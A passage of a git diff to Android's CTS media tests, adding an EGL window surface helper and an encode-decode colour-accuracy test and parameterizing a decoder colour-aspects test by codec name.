+            mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+            mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
+        } else {
+            mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+            mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+        }
+        mCodec.start();
+        doWork(frameLimit);
+        queueEOS();
+        waitForAllOutputs();
+        mCodec.stop();
+        mCodec.release();
+        mSaveToMem = false;
+    }
+
+    ByteBuffer decodeElementaryStream(String decoder, MediaFormat format,
+            ByteBuffer elementaryStream, ArrayList<MediaCodec.BufferInfo> infos)
+            throws IOException, InterruptedException {
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        CodecDecoderTestBase cdtb = new CodecDecoderTestBase(decoder, mime, null);
+        cdtb.mOutputBuff = new OutputManager();
+        cdtb.mSaveToMem = true;
+        cdtb.mCodec = MediaCodec.createByCodecName(decoder);
+        cdtb.mCodec.configure(format, null, null, 0);
+        cdtb.mCodec.start();
+        cdtb.doWork(elementaryStream, infos);
+        cdtb.queueEOS();
+        cdtb.waitForAllOutputs();
+        cdtb.mCodec.stop();
+        cdtb.mCodec.release();
+        return cdtb.mOutputBuff.getBuffer();
+    }
 }
diff --git a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
index d848059..ce36bd3 100644
--- a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
@@ -42,9 +42,9 @@
     private final boolean mCanIgnoreColorBox;
     private ArrayList<String> mCheckESList;
 
-    public DecoderColorAspectsTest(String mime, String testFile, int range, int standard,
-            int transferCurve, boolean canIgnoreColorBox) {
-        super(mime, testFile);
+    public DecoderColorAspectsTest(String decoderName, String mime, String testFile, int range,
+            int standard, int transferCurve, boolean canIgnoreColorBox) {
+        super(decoderName, mime, testFile);
         mColorRange = range;
         mColorStandard = standard;
         mColorTransferCurve = transferCurve;
@@ -58,7 +58,7 @@
         mCanIgnoreColorBox = canIgnoreColorBox;
     }
 
-    @Parameterized.Parameters(name = "{index}({0})")
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{3}_{4}_{5})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = false;
         final boolean needAudio = true;
@@ -241,23 +241,21 @@
     @SmallTest
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
     public void testColorAspects() throws IOException, InterruptedException {
-        CodecTestActivity activity = mActivityRule.getActivity();
-        setUpSurface(activity);
         MediaFormat format = setUpSource(mInpPrefix, mTestFile);
         mExtractor.release();
         ArrayList<MediaFormat> formats = new ArrayList<>();
         formats.add(format);
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, formats, null, false);
-        Assume.assumeFalse("no suitable codecs found for : " + format.toString(),
-                listOfDecoders.isEmpty());
+        Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats));
+        CodecTestActivity activity = mActivityRule.getActivity();
+        setUpSurface(activity);
         activity.setScreenParams(getWidth(format), getHeight(format), true);
-        for (String decoder : listOfDecoders) {
-            validateColorAspects(decoder, mInpPrefix, mTestFile, mColorRange, mColorStandard,
+        {
+            validateColorAspects(mCodecName, mInpPrefix, mTestFile, mColorRange, mColorStandard,
                     mColorTransferCurve, false);
             // If color metadata can also be signalled via elementary stream, then verify if the
             // elementary stream contains color aspects as expected
             if (mCanIgnoreColorBox && mCheckESList.contains(mMime)) {
-                validateColorAspects(decoder, mInpPrefix, mTestFile, mColorRange,
+                validateColorAspects(mCodecName, mInpPrefix, mTestFile, mColorRange,
                         mColorStandard, mColorTransferCurve, true);
             }
         }
diff --git a/tests/media/src/android/mediav2/cts/EGLWindowSurface.java b/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
new file mode 100644
index 0000000..7b30812
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLExt;
+import android.opengl.EGLSurface;
+import android.view.Surface;
+
+class EGLWindowSurface {
+    private static final String TAG = "EGLWindowSurface";
+
+    private EGLDisplay mEGLDisplay = EGL14.EGL_NO_DISPLAY;
+    private EGLContext mEGLContext = EGL14.EGL_NO_CONTEXT;
+    private EGLSurface mEGLSurface = EGL14.EGL_NO_SURFACE;
+    private EGLConfig[] mConfigs = new EGLConfig[1];
+
+    private Surface mSurface;
+
+    /**
+     * Checks for EGL errors.
+     */
+    private void checkEglError(String msg) {
+        int error = EGL14.eglGetError();
+        if (error != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException(msg + ": EGL error: 0x" + Integer.toHexString(error));
+        }
+    }
+
+    /**
+     * Prepares EGL.  We want a GLES 2.0 context and a surface that supports recording.
+     */
+    private void eglSetup() {
+        mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
+        if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
+            throw new RuntimeException("unable to get EGL14 display");
+        }
+        int[] version = new int[2];
+        if (!EGL14.eglInitialize(mEGLDisplay, version, 0, version, 1)) {
+            mEGLDisplay = null;
+            throw new RuntimeException("unable to initialize EGL14");
+        }
+
+        // Configure EGL for recordable and OpenGL ES 2.0.  We want enough RGB bits
+        // to minimize artifacts from possible YUV conversion.
+        int[] attribList = {
+                EGL14.EGL_RED_SIZE, 8,
+                EGL14.EGL_GREEN_SIZE, 8,
+                EGL14.EGL_BLUE_SIZE, 8,
+                EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
+                EGLExt.EGL_RECORDABLE_ANDROID, 1,
+                EGL14.EGL_NONE
+        };
+        int[] numConfigs = new int[1];
+        if (!EGL14.eglChooseConfig(mEGLDisplay, attribList, 0, mConfigs, 0, mConfigs.length,
+                numConfigs, 0)) {
+            throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
+        }
+
+        // Configure context for OpenGL ES 2.0.
+        int[] attrib_list = {
+                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
+                EGL14.EGL_NONE
+        };
+        mEGLContext = EGL14.eglCreateContext(mEGLDisplay, mConfigs[0], EGL14.EGL_NO_CONTEXT,
+                attrib_list, 0);
+        checkEglError("eglCreateContext");
+        if (mEGLContext == null) {
+            throw new RuntimeException("null context");
+        }
+
+        // Create a window surface, and attach it to the Surface we received.
+        createEGLSurface();
+    }
+
+    private void createEGLSurface() {
+        //EGLConfig[] configs = new EGLConfig[1];
+        int[] surfaceAttribs = {
+                EGL14.EGL_NONE
+        };
+        mEGLSurface = EGL14.eglCreateWindowSurface(mEGLDisplay, mConfigs[0], mSurface,
+                surfaceAttribs, 0);
+        checkEglError("eglCreateWindowSurface");
+        if (mEGLSurface == null) {
+            throw new RuntimeException("surface was null");
+        }
+    }
+
+    /**
+     * Queries the surface's width.
+     */
+    private int getWidth() {
+        int[] value = new int[1];
+        EGL14.eglQuerySurface(mEGLDisplay, mEGLSurface, EGL14.EGL_WIDTH, value, 0);
+        return value[0];
+    }
+
+    /**
+     * Queries the surface's height.
+     */
+    private int getHeight() {
+        int[] value = new int[1];
+        EGL14.eglQuerySurface(mEGLDisplay, mEGLSurface, EGL14.EGL_HEIGHT, value, 0);
+        return value[0];
+    }
+
+    /**
+     * Creates an InputSurface from a Surface.
+     */
+    public EGLWindowSurface(Surface surface) {
+        if (surface == null) {
+            throw new NullPointerException();
+        }
+        mSurface = surface;
+
+        eglSetup();
+    }
+
+    /**
+     * Discard all resources held by this class, notably the EGL context.
+     */
+    public void release() {
+        EGL14.eglDestroySurface(mEGLDisplay, mEGLSurface);
+        if (mEGLDisplay != EGL14.EGL_NO_DISPLAY) {
+            EGL14.eglDestroyContext(mEGLDisplay, mEGLContext);
+            EGL14.eglReleaseThread();
+            EGL14.eglTerminate(mEGLDisplay);
+        }
+
+        mEGLDisplay = EGL14.EGL_NO_DISPLAY;
+        mEGLContext = EGL14.EGL_NO_CONTEXT;
+        mEGLSurface = EGL14.EGL_NO_SURFACE;
+
+        mSurface = null;
+    }
+
+    /**
+     * Makes our EGL context and surface current.
+     */
+    public void makeCurrent() {
+        if (!EGL14.eglMakeCurrent(mEGLDisplay, mEGLSurface, mEGLSurface, mEGLContext)) {
+            throw new RuntimeException("eglMakeCurrent failed");
+        }
+    }
+
+    /**
+     * Calls eglSwapBuffers.  Use this to "publish" the current frame.
+     */
+    public boolean swapBuffers() {
+        return EGL14.eglSwapBuffers(mEGLDisplay, mEGLSurface);
+    }
+
+    /**
+     * Sends the presentation time stamp to EGL.  Time is expressed in nanoseconds.
+     */
+    public void setPresentationTime(long nsecs) {
+        EGLExt.eglPresentationTimeANDROID(mEGLDisplay, mEGLSurface, nsecs);
+    }
+}
+
diff --git a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
new file mode 100644
index 0000000..528b417
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
@@ -0,0 +1,508 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.opengl.GLES20;
+import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
+
+import androidx.test.filters.LargeTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import javax.microedition.khronos.opengles.GL10;
+
+import static org.junit.Assert.assertTrue;
+
+@RunWith(Parameterized.class)
+public class EncodeDecodeAccuracyTest extends CodecDecoderTestBase {
+    private final String LOG_TAG = EncodeDecodeAccuracyTest.class.getSimpleName();
+    // The bitrates are configured to large values. The content has zero motion, so in-time the
+    // qp of the encoded clips shall drop down to < 10. Further the color bands are aligned to 2,
+    // so from downsampling rgb24 to yuv420p, even if bilinear filters are used as opposed to
+    // skipping samples, we may not see large color loss. Hence allowable tolerance is kept to 8.
+    // until QP stabilizes, the tolerance is set at 10.
+
+    // TODO (b/193192195) Initial delta values used in the tests were 7 and 5, but were increased
+    // to 10 and 8, as tests on emulator showed a higher delta. So the allowed delta values are
+    // increased for now
+    private final int TRANSIENT_STATE_COLOR_DELTA = 10;
+    private final int STEADY_STATE_COLOR_DELTA = 8;
+    private final int[][] mColorBars = new int[][]{
+            {66, 133, 244},
+            {219, 68, 55},
+            {244, 180, 0},
+            {15, 157, 88},
+            {186, 85, 211},
+            {119, 136, 153},
+            {225, 179, 120},
+            {224, 204, 151},
+            {236, 121, 154},
+            {159, 2, 81},
+            {120, 194, 87}
+    };
+    private final int FRAMES_TO_ENCODE = 30;
+    private final int STEADY_STATE_FRAME_INDEX = 20;
+
+    private final String mCompName;
+    private final int mWidth;
+    private final int mHeight;
+    private final int mFrameRate;
+    private final int mBitRate;
+    private final int mRange;
+    private final int mStandard;
+    private final int mTransferCurve;
+
+    private final CodecAsyncHandler mAsyncHandleEncoder;
+    private MediaCodec mEncoder;
+    private Surface mInpSurface;
+    private EGLWindowSurface mEGLWindowInpSurface;
+    private OutputSurface mEGLWindowOutSurface;
+    private boolean mSawInputEOSEnc;
+    private boolean mSawOutputEOSEnc;
+    private int mLatency;
+    private boolean mReviseLatency;
+    private int mInputCountEnc;
+    private int mOutputCountEnc;
+    private boolean mSaveToMemEnc;
+    private OutputManager mOutputBuffEnc;
+    ArrayList<MediaCodec.BufferInfo> mInfoListEnc;
+
+    private final int mColorBarWidth;
+    private final int xOffset;
+    private final int yOffset = 64;
+    private int mLargestColorDelta;
+    private int mBadFrames;
+
+    private final boolean mMuxOutput = false;
+    private MediaMuxer mMuxer;
+    private int mTrackID = -1;
+
+    public EncodeDecodeAccuracyTest(String encoder, String mime, int width, int height,
+            int frameRate, int bitrate, int range, int standard, int transfer) {
+        super(null, mime, null);
+        mCompName = encoder;
+        mMime = mime;
+        mWidth = width;
+        mHeight = height;
+        mFrameRate = frameRate;
+        mBitRate = bitrate;
+        mRange = range;
+        mStandard = standard;
+        mTransferCurve = transfer;
+        mAsyncHandleEncoder = new CodecAsyncHandler();
+        mLatency = 0;
+        mReviseLatency = false;
+        mInfoListEnc = new ArrayList<>();
+        int barWidth = (mWidth + mColorBars.length - 1) / mColorBars.length;
+        // aligning color bands to 2 is done because, during chroma subsampling of rgb24 to yuv420p,
+        // simple skipping alternate samples or bilinear filter would have same effect.
+        mColorBarWidth = (barWidth % 2 == 0) ? barWidth : barWidth + 1;
+        assertTrue(mColorBarWidth >= 16);
+        xOffset = mColorBarWidth >> 2;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{6}_{7}_{8})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = true;
+        final boolean needAudio = false;
+        final boolean needVideo = true;
+        final List<Object[]> baseArgsList = Arrays.asList(new Object[][]{
+                // "video/*", width, height, framerate, bitrate, range, standard, transfer
+                {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {720, 576, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_PAL, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                // TODO (b/186511593)
+                /*
+                {1280, 720, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {720, 576, 30, 3000000, MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_PAL, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {1280, 720, 30, 3000000, MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT709, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+
+                {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {720, 576, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {1280, 720, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_PAL, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {720, 576, 30, 3000000, MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT709, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {1280, 720, 30, 3000000, MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_PAL, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                 */
+        });
+        // Note: although vp8 and vp9 donot contain fields to signal color aspects properly, this
+        // information can be muxed in to containers of mkv and mp4. So even those clips
+        // should pass these tests
+        final String[] mimes = {MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC,
+                MediaFormat.MIMETYPE_VIDEO_VP8, MediaFormat.MIMETYPE_VIDEO_VP9,
+                MediaFormat.MIMETYPE_VIDEO_AV1};
+        final List<Object[]> exhaustiveArgsList = new ArrayList<>();
+        for (String mime : mimes) {
+            for (Object[] obj : baseArgsList) {
+                exhaustiveArgsList .add(new Object[]{mime, obj[0], obj[1], obj[2], obj[3], obj[4],
+                        obj[5], obj[6]});
+            }
+        }
+        return CodecTestBase.prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo,
+                false);
+    }
+
+    private void resetContext(boolean isAsync) {
+        super.resetContext(isAsync, false);
+        mAsyncHandleEncoder.resetContext();
+        mSawInputEOSEnc = false;
+        mSawOutputEOSEnc = false;
+        mLatency = 0;
+        mReviseLatency = false;
+        mInputCountEnc = 0;
+        mOutputCountEnc = 0;
+        mInfoListEnc.clear();
+        mLargestColorDelta = 0;
+        mBadFrames = 0;
+    }
+
+    private void configureCodec(MediaFormat encFormat, boolean isAsync) {
+        resetContext(isAsync);
+        mAsyncHandleEncoder.setCallBack(mEncoder, isAsync);
+        mEncoder.configure(encFormat, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+        if (mEncoder.getInputFormat().containsKey(MediaFormat.KEY_LATENCY)) {
+            mReviseLatency = true;
+            mLatency = mEncoder.getInputFormat().getInteger(MediaFormat.KEY_LATENCY);
+        }
+        mInpSurface = mEncoder.createInputSurface();
+        assertTrue("Surface is not valid", mInpSurface.isValid());
+        mEGLWindowInpSurface = new EGLWindowSurface(mInpSurface);
+        if (ENABLE_LOGS) {
+            Log.v(LOG_TAG, "codec configured");
+        }
+    }
+
+    private void dequeueEncoderOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        if (ENABLE_LOGS) {
+            Log.v(LOG_TAG, "encoder output: id: " + bufferIndex + " flags: " + info.flags +
+                    " size: " + info.size + " timestamp: " + info.presentationTimeUs);
+        }
+        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+            mSawOutputEOSEnc = true;
+        }
+        if (info.size > 0) {
+            if (mSaveToMemEnc) {
+                ByteBuffer buf = mEncoder.getOutputBuffer(bufferIndex);
+                MediaCodec.BufferInfo copy = new MediaCodec.BufferInfo();
+                copy.set(mOutputBuffEnc.getOutStreamSize(), info.size, info.presentationTimeUs,
+                        info.flags);
+                mInfoListEnc.add(copy);
+                mOutputBuffEnc.saveToMemory(buf, info);
+                if (mMuxer != null) {
+                    if (mTrackID == -1) {
+                        mTrackID = mMuxer.addTrack(mEncoder.getOutputFormat());
+                        mMuxer.start();
+                    }
+                    mMuxer.writeSampleData(mTrackID, buf, info);
+                }
+            }
+            if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+                mOutputBuffEnc.saveOutPTS(info.presentationTimeUs);
+                mOutputCountEnc++;
+            }
+        }
+        mEncoder.releaseOutputBuffer(bufferIndex, false);
+    }
+
+    private void tryEncoderOutput(long timeOutUs) throws InterruptedException {
+        if (mIsCodecInAsyncMode) {
+            if (!mAsyncHandleEncoder.hasSeenError() && !mSawOutputEOSEnc) {
+                int retry = 0;
+                while (mReviseLatency) {
+                    if (mAsyncHandleEncoder.hasOutputFormatChanged()) {
+                        mReviseLatency = false;
+                        int actualLatency = mAsyncHandleEncoder.getOutputFormat()
+                                .getInteger(MediaFormat.KEY_LATENCY, mLatency);
+                        if (mLatency < actualLatency) {
+                            mLatency = actualLatency;
+                            return;
+                        }
+                    } else {
+                        if (retry > CodecTestBase.RETRY_LIMIT) {
+                            throw new InterruptedException("did not receive output format " +
+                                    "changed for encoder after " + CodecTestBase.Q_DEQ_TIMEOUT_US *
+                                    CodecTestBase.RETRY_LIMIT + " us");
+                        }
+                        Thread.sleep(CodecTestBase.Q_DEQ_TIMEOUT_US / 1000);
+                        retry++;
+                    }
+                }
+                Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandleEncoder.getOutput();
+                if (element != null) {
+                    dequeueEncoderOutput(element.first, element.second);
+                }
+            }
+        } else {
+            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+            if (!mSawOutputEOSEnc) {
+                int outputBufferId = mEncoder.dequeueOutputBuffer(outInfo, timeOutUs);
+                if (outputBufferId >= 0) {
+                    dequeueEncoderOutput(outputBufferId, outInfo);
+                } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    mLatency = mEncoder.getOutputFormat()
+                            .getInteger(MediaFormat.KEY_LATENCY, mLatency);
+                }
+            }
+        }
+    }
+
+    private void waitForAllEncoderOutputs() throws InterruptedException {
+        if (mIsCodecInAsyncMode) {
+            while (!mAsyncHandleEncoder.hasSeenError() && !mSawOutputEOSEnc) {
+                tryEncoderOutput(CodecTestBase.Q_DEQ_TIMEOUT_US);
+            }
+        } else {
+            while (!mSawOutputEOSEnc) {
+                tryEncoderOutput(CodecTestBase.Q_DEQ_TIMEOUT_US);
+            }
+        }
+    }
+
+    private void queueEOSEnc() {
+        if (!mAsyncHandleEncoder.hasSeenError() && !mSawInputEOSEnc) {
+            mEncoder.signalEndOfInputStream();
+            mSawInputEOSEnc = true;
+            if (ENABLE_LOGS) Log.d(LOG_TAG, "signalled end of stream");
+        }
+    }
+
+    private void doWorkEnc(int frameLimit) throws InterruptedException {
+        while (!mAsyncHandleEncoder.hasSeenError() && !mSawInputEOSEnc &&
+                mInputCountEnc < frameLimit) {
+            if (mInputCountEnc - mOutputCountEnc > mLatency) {
+                tryEncoderOutput(CodecTestBase.Q_DEQ_TIMEOUT_US);
+            }
+            mEGLWindowInpSurface.makeCurrent();
+            generateSurfaceFrame();
+            mEGLWindowInpSurface
+                    .setPresentationTime(computePresentationTime(mInputCountEnc) * 1000);
+            if (ENABLE_LOGS) Log.d(LOG_TAG, "inputSurface swapBuffers");
+            mEGLWindowInpSurface.swapBuffers();
+            mInputCountEnc++;
+        }
+    }
+
+    private MediaFormat setUpEncoderFormat() {
+        MediaFormat format = new MediaFormat();
+        format.setString(MediaFormat.KEY_MIME, mMime);
+        format.setInteger(MediaFormat.KEY_WIDTH, mWidth);
+        format.setInteger(MediaFormat.KEY_HEIGHT, mHeight);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
+        format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+        format.setInteger(MediaFormat.KEY_COLOR_RANGE, mRange);
+        format.setInteger(MediaFormat.KEY_COLOR_STANDARD, mStandard);
+        format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, mTransferCurve);
+        return format;
+    }
+
+    private long computePresentationTime(int frameIndex) {
+        return frameIndex * 1000000 / mFrameRate;
+    }
+
+    private void generateSurfaceFrame() {
+        GLES20.glViewport(0, 0, mWidth, mHeight);
+        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+        for (int i = 0; i < mColorBars.length; i++) {
+            int startX = i * mColorBarWidth;
+            int endX = Math.min(startX + mColorBarWidth, mWidth);
+            GLES20.glScissor(startX, 0, endX, mHeight);
+            GLES20.glClearColor(mColorBars[i][0] / 255.0f, mColorBars[i][1] / 255.0f,
+                    mColorBars[i][2] / 255.0f, 1.0f);
+            GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        }
+    }
+
+    boolean isColorClose(int actual, int expected) {
+        int delta = Math.abs(actual - expected);
+        if (delta > mLargestColorDelta) mLargestColorDelta = delta;
+        return (delta <= (mOutputCount >= STEADY_STATE_FRAME_INDEX ? STEADY_STATE_COLOR_DELTA :
+                TRANSIENT_STATE_COLOR_DELTA));
+    }
+
+    private boolean checkSurfaceFrame(int frameIndex) {
+        ByteBuffer pixelBuf = ByteBuffer.allocateDirect(4);
+        boolean frameFailed = false;
+        for (int i = 0; i < mColorBars.length; i++) {
+            int x = mColorBarWidth * i + xOffset;
+            int y = yOffset;
+            GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
+            int r = pixelBuf.get(0) & 0xff;
+            int g = pixelBuf.get(1) & 0xff;
+            int b = pixelBuf.get(2) & 0xff;
+            if (!(isColorClose(r, mColorBars[i][0]) && isColorClose(g, mColorBars[i][1]) &&
+                    isColorClose(b, mColorBars[i][2]))) {
+                Log.w(LOG_TAG, "Bad frame " + frameIndex + " (rect={" + x + " " + y + "} :rgb=" +
+                        r + "," + g + "," + b + " vs. expected " + mColorBars[i][0] +
+                        "," + mColorBars[i][1] + "," + mColorBars[i][2] + ")");
+                frameFailed = true;
+            }
+        }
+        return frameFailed;
+    }
+
+    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+            mSawOutputEOS = true;
+        }
+        if (ENABLE_LOGS) {
+            Log.v(LOG_TAG, "output: id: " + bufferIndex + " flags: " + info.flags + " size: " +
+                    info.size + " timestamp: " + info.presentationTimeUs);
+        }
+        if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+            mOutputBuff.saveOutPTS(info.presentationTimeUs);
+            mOutputCount++;
+        }
+        mCodec.releaseOutputBuffer(bufferIndex, mSurface != null);
+        if (info.size > 0) {
+            mEGLWindowOutSurface.awaitNewImage();
+            mEGLWindowOutSurface.drawImage();
+            if (checkSurfaceFrame(mOutputCount - 1)) mBadFrames++;
+        }
+    }
+
+    private void decodeElementaryStream(MediaFormat format)
+            throws IOException, InterruptedException {
+        mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight);
+        mSurface = mEGLWindowOutSurface.getSurface();
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        formats.add(format);
+        ArrayList<String> listOfDecoders =
+                CodecDecoderTestBase.selectCodecs(mMime, formats, null, false);
+        assertTrue("no suitable codecs found for : " + format.toString(),
+                !listOfDecoders.isEmpty());
+        for (String decoder : listOfDecoders) {
+            mCodec = MediaCodec.createByCodecName(decoder);
+            configureCodec(format, true, true, false);
+            mOutputBuff = new OutputManager();
+            mCodec.start();
+            doWork(mOutputBuffEnc.getBuffer(), mInfoListEnc);
+            queueEOS();
+            waitForAllOutputs();
+            mCodec.stop();
+            mCodec.release();
+        }
+        mEGLWindowOutSurface.release();
+    }
+
+    /**
+     * Current test encodes RGB frames at high bitrates (this is to ensure very minor quantization
+     * losses). The Color Aspects information is passed in the bitstream or container format. The
+     * decoder is expected to produce the color information accurately
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    public void testEncodeDecodeAccuracyRGB() throws IOException, InterruptedException {
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        formats.add(setUpEncoderFormat());
+        final boolean isAsync = true;
+        mSaveToMemEnc = true;
+        mOutputBuffEnc = new OutputManager();
+        String tmpPath;
+        {
+            if (mMuxOutput) {
+                int muxerFormat;
+                if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
+                        mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+                    muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
+                    tmpPath = File.createTempFile("tmp", ".webm").getAbsolutePath();
+                } else {
+                    muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
+                    tmpPath = File.createTempFile("tmp", ".mp4").getAbsolutePath();
+                }
+                mMuxer = new MediaMuxer(tmpPath, muxerFormat);
+            }
+            mEncoder = MediaCodec.createByCodecName(mCompName);
+            mOutputBuffEnc.reset();
+            mInfoListEnc.clear();
+            configureCodec(formats.get(0), isAsync);
+            mEncoder.start();
+            doWorkEnc(FRAMES_TO_ENCODE);
+            queueEOSEnc();
+            waitForAllEncoderOutputs();
+            if (mMuxOutput) {
+                if (mTrackID != -1) {
+                    mMuxer.stop();
+                    mTrackID = -1;
+                }
+                if (mMuxer != null) {
+                    mMuxer.release();
+                    mMuxer = null;
+                }
+            }
+            MediaFormat outputFormat = mEncoder.getOutputFormat();
+            assertTrue(outputFormat.containsKey(MediaFormat.KEY_COLOR_RANGE));
+            assertTrue(outputFormat.containsKey(MediaFormat.KEY_COLOR_STANDARD));
+            assertTrue(outputFormat.containsKey(MediaFormat.KEY_COLOR_TRANSFER));
+            if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_AVC) ||
+                    mMime.equals(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+                outputFormat.removeKey(MediaFormat.KEY_COLOR_RANGE);
+                outputFormat.removeKey(MediaFormat.KEY_COLOR_STANDARD);
